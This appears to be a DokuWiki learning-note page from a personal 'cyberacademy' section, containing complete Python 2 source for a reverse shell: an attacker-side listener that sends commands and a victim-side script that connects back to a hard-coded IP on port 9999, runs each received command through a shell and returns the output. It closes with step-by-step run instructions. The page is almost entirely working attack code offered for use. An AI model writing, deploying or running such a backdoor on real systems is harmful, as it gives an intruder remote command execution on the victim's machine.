dardan:cyberacademy:python:reverse_shell.py
##nano attacker.py 
  
import socket

host = '0.0.0.0'
port = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((host, port))
s.listen(5)

client_socket, (client_ip, client_port) = s.accept()

while True:

	command = raw_input("$ ")
	client_socket.send(command)

	if(command == "quit" or command == "exit"):
		break

	data = client_socket.recv(1024)
	print data

client_socket.close()
##nano victim.py 

import socket
import os
import subprocess

host = '172.16.60.72'
port = 9999

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.connect((host, port))

while True:

	data = s.recv(1024)

	if(data == "quit" or data == "exit"):
		break

	if(data.split()[0] == "cd"):
		os.chdir(data.split()[1])
		print("Directory changed to: " + os.getcwd())

	else:

		cmd = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
		cmd_output = cmd.stdout.read() + cmd.stderr.read()
		s.send(cmd_output + os.getcwd())
First run $python attacker.py keep it running
Second run $python victim.py ##be sure that you modified your IP
dardan/cyberacademy/python/reverse_shell.py.txt · Last modified: 2018/09/26 19:19 by dardan

Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki